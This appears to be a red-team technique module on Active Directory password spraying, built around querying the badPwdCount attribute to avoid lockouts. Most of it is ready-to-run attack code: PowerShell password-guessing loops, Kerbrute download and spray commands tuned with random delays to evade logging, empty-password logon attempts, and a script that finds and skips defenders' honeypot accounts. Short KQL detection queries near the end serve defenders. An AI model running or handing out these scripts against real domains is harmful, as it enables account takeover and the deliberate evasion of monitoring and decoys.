| Field | Value |
|---|---|
| Module ID | REC-AD-005 |
| Technique Name | BadPwdCount attribute monitoring & password spray enumeration |
| MITRE ATT&CK ID | T1087.002 – Account Discovery: Domain Account; T1110.003 – Brute Force: Password Spraying |
| CVE | N/A (Fundamental AD behavior; no patch available) |
| Platform | Windows Active Directory / On-Premises |
| Viability Status | ACTIVE ✓ (Zero-detection password spray variant) |
| Difficulty to Detect | HIGH (Kerberos pre-auth bypass; randomized delays hide patterns) |
| Requires Authentication | Yes (Valid domain user for BadPwdCount queries) |
| Applicable Versions | All Windows AD domains (badPwdCount non-replicated across DCs) |
| Last Verified | December 2025 |
| Author | SERVTEP – Artur Pchelnikau |
BadPwdCount attribute monitoring enables sophisticated password spray attacks that evade account lockout policies and detection mechanisms. By querying the non-replicated badPwdCount attribute on the PDC, attackers can determine whether a previous password attempt failed (badPwdCount incremented) or succeeded (badPwdCount unchanged), enabling password enumeration without triggering lockouts. Combined with Kerberos pre-authentication spraying and randomized delays, attackers can crack weak credentials invisibly across entire domains.
Critical Threat Characteristics:
Real-World Impact:
Objective: Query PDC to avoid lockouts; spray passwords while monitoring badPwdCount.
# Prerequisites:
# - Valid domain user credentials (standard user sufficient)
# - Access to PDC or any domain controller
# - PowerShell AD module
# Step 1: Authenticate to domain
$cred = Get-Credential
$dc = "pdc.domain.local"
# Step 2: Query target user's badPwdCount before spray attempt
$user = "john.doe"
$before = Get-ADUser -Identity $user -Properties badPwdCount -Server $dc | Select-Object badPwdCount
Write-Host "BadPwdCount before: $($before.badPwdCount)"
# Step 3: Attempt authentication with password #1
$password1 = "Summer2024"
try {
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('Domain', $dc)
$isValid = $pc.ValidateCredentials($user, $password1)
if ($isValid) {
Write-Host "SUCCESS: $user : $password1"
exit 0
}
} catch {}
# Step 4: Query badPwdCount after failed attempt
$after = Get-ADUser -Identity $user -Properties badPwdCount -Server $dc | Select-Object badPwdCount
Write-Host "BadPwdCount after: $($after.badPwdCount)"
# Logic:
# if (badPwdCount incremented) {
# Password #1 is incorrect; correct password must be different
# }
# if (badPwdCount unchanged) {
# Password #1 matches user's current or previous password (N-2 check)
# Attempt with password #2 (variation: Summer2025, password123, etc.)
# }
# Step 5: If badPwdCount unchanged, attempt password variation
if ($after.badPwdCount -eq $before.badPwdCount) {
Write-Host "BadPwdCount unchanged; password matches N-2 history"
$password2 = "Summer2025" # Variation
try {
$isValid2 = $pc.ValidateCredentials($user, $password2)
if ($isValid2) {
Write-Host "SUCCESS: $user : $password2"
}
} catch {}
}
# Result: Spray entire user list while querying badPwdCount
# Avoids standard password spray detection (no lockout-based alarms)
# Evades Event ID 4625 spam (limited failed attempts per user)
Objective: Spray passwords via Kerberos without generating standard logon failure events.
# Tool: Kerbrute (Go-based Kerberos password spraying)
# Advantage: Pre-authentication failures don't generate Event ID 4625
# Step 1: Download/compile Kerbrute
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
# Step 2: Enumerate valid users (optional; can spray all)
./kerbrute_linux_amd64 userenum -d domain.local users.txt --dc 192.168.1.100
# Step 3: Spray passwords with randomized delays
./kerbrute_linux_amd64 passwordspray -d domain.local users.txt \
"Summer2024" "Welcome01" "Password123" \
--delay 3000 \
--randomdelay 2000 \
--dc 192.168.1.100
# Output: Found credentials (any successful logons)
# Detection: Only Event ID 4771 (Kerberos pre-auth failed)
# Not Event ID 4625 (which is noisy and heavily monitored)
# Advantages over NTLM spray:
# - Bypass account lockout (no NTLM increments badPwdCount as aggressively)
# - Fewer logs generated
# - Lower detection rate if Event 4771 not monitored
Objective: Identify accounts with empty passwords; skip spray process.
# Step 1: Query all users with PASSWD_NOTREQD flag
# PASSWD_NOTREQD = account can have empty password
$filter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=32))"
$searcher = New-Object System.DirectoryServices.DirectorySearcher($filter)
$searcher.PropertiesToLoad.AddRange(@("samAccountName"))
$results = $searcher.FindAll()
Write-Host "Users with empty password allowed:"
foreach ($result in $results) {
$user = $result.Properties["samAccountName"][0]
Write-Host " $user"
# Step 2: Attempt logon with empty password
try {
$pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('Domain', 'dc.domain.local')
$isValid = $pc.ValidateCredentials($user, "")
if ($isValid) {
Write-Host " SUCCESS: Empty password accepted!"
}
} catch {}
}
# Result: Identify accounts with no password set (common in test environments)
Objective: Spray passwords while avoiding honeypot account triggers.
# Honeypot accounts are decoy accounts used by defenders
# A successful logon to honeypot = immediate incident response
# Common honeypot account names:
# - "honeypot", "test_user", "decoy", "admin_test", "service_account_test"
# - Accounts in specific "honey" OUs
# Step 1: Query AD for common honeypot naming patterns
$honeyPots = @("honeypot", "decoy", "test_admin", "security_test", "trap_user")
foreach ($hp in $honeyPots) {
$found = Get-ADUser -Filter "samAccountName -like '*$hp*'" -ErrorAction SilentlyContinue
if ($found) {
Write-Host "Found potential honeypot: $($found.samAccountName)"
}
}
# Step 2: Query AD for OUs with suspicious names
$honeyOUs = Get-ADOrganizationalUnit -Filter "name -like '*honey*' -or name -like '*decoy*'"
foreach ($ou in $honeyOUs) {
$users = Get-ADUser -SearchBase $ou.DistinguishedName -Filter "*"
Write-Host "Users in honeypot OU ($($ou.Name)): $($users.Count)"
}
# Step 3: EXCLUDE honeypot accounts from spray
$allUsers = Get-ADUser -Filter * | Select-Object samAccountName
$safeSprays = $allUsers | Where-Object {
$_.samAccountName -notmatch "honeypot|decoy|test_admin|security_test"
}
# Step 4: Spray only safe accounts
foreach ($user in $safeSprays) {
# Spray password attempt
# (Actual spraying omitted for brevity)
}
# Result: Avoid triggering honeypot alarms during spray
SecurityEvent
| where EventID == 4662 // LDAP query
| where ObjectName contains "badPwdCount"
| summarize BadPwdCountQueries = count()
by Account, Computer, bin(TimeGenerated, 10m)
| where BadPwdCountQueries > 10 // Multiple badPwdCount queries in 10m
| extend AlertSeverity = "High"
SecurityEvent
| where EventID == 4771 // Kerberos pre-authentication failed
| where Status == "0x18" // Pre-auth failure (bad password)
| summarize FailureCount = count(), DistinctUsers = dcount(TargetUserName)
by ClientIPAddress, bin(TimeGenerated, 5m)
| where FailureCount > 50 or DistinctUsers > 20 // Spray pattern
| extend AlertSeverity = "High", Pattern = "Potential Kerberos password spray"
SecurityEvent
| where EventID in (4624, 4625) // Any logon attempt to honeypot
| where TargetUserName in ("honeypot", "decoy", "test_admin")
| extend AlertSeverity = "Critical", Confidence = "99%"
Priority 1: CRITICAL
Priority 2: HIGH
| Tool | Purpose | Detection Risk | OPSEC |
|---|---|---|---|
| Kerbrute | Kerberos spray | MEDIUM (4771 only) | External tool; may trigger EDR |
| DomainPasswordSpray | Multi-method spray | MEDIUM-HIGH (4625) | PowerShell; less noisy |
| GetUserSPNs | Enumeration + spray | MEDIUM | impacket-based |
| PowerShell LDAP | BadPwdCount query | LOW (blends with normal) | Native Windows |
| Start-Process | NTLM spray | LOW (built-in cmdlet) | Native Windows tool |